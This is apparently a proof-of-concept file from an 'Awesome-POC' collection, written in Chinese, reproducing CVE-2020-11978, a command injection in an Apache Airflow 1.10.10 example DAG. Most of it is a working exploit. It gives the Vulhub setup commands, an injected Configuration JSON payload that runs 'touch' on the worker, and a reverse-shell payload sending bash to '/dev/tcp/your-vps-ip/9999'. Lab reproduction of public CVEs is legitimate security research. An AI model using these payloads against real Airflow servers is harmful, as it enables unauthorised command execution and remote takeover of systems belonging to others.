Awesome-POC/Web应用漏洞/Apache Airflow 示例DAG中的命令注入 CVE-2020-11978.md
2024-11-06 14:10:36 +08:00

64 lines
1.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache Airflow 示例DAG中的命令注入 CVE-2020-11978
## 漏洞描述
Apache Airflow是一款开源的分布式任务调度框架通过DAGDirected acyclic graph 有向无环图)来管理任务流程的任务调度工具,不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度。
在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
由于启动的组件比较多可能会有点卡运行此环境可能需要准备2G以上的内存。
参考链接:
- https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx
- https://github.com/pberba/CVE-2020-11978
## 环境搭建
Vulhub依次执行如下命令启动Apache Airflow 1.10.10
```
#初始化数据库
docker-compose run airflow-init
#启动服务
docker-compose up -d
```
服务器启动后,访问`http://your-ip:8080/admin/airflow/login`即可查看到登录页面。
## 漏洞复现
访问`http://your-ip:8080/admin/airflow/login`进入airflow管理端`example_trigger_target_dag`前面的Off改为On
![image-20220329111338269](images/202204251948096.png)
再点击执行按钮在Configuration JSON中输入`{"message":"'\";touch /tmp/airflow_dag_success;#"}`,再点`Trigger`执行dag
![image-20220329111358392](images/202204251948097.png)
等几秒可以看到执行成功:
![image-20220329111445804](images/202204251948098.png)
到CeleryWorker容器中进行查看
```
docker-compose exec airflow-worker ls -l /tmp
```
可以看到`touch /tmp/airflow_dag_success`成功被执行:
![image-20220329111605593](images/202204251948099.png)
### 反弹shell
相同方法执行反弹shell
```
{"message":"'\";bash -i >& /dev/tcp/your-vps-ip/9999 0>&1;#"}
```
![image-20220329113423239](images/202204251948100.png)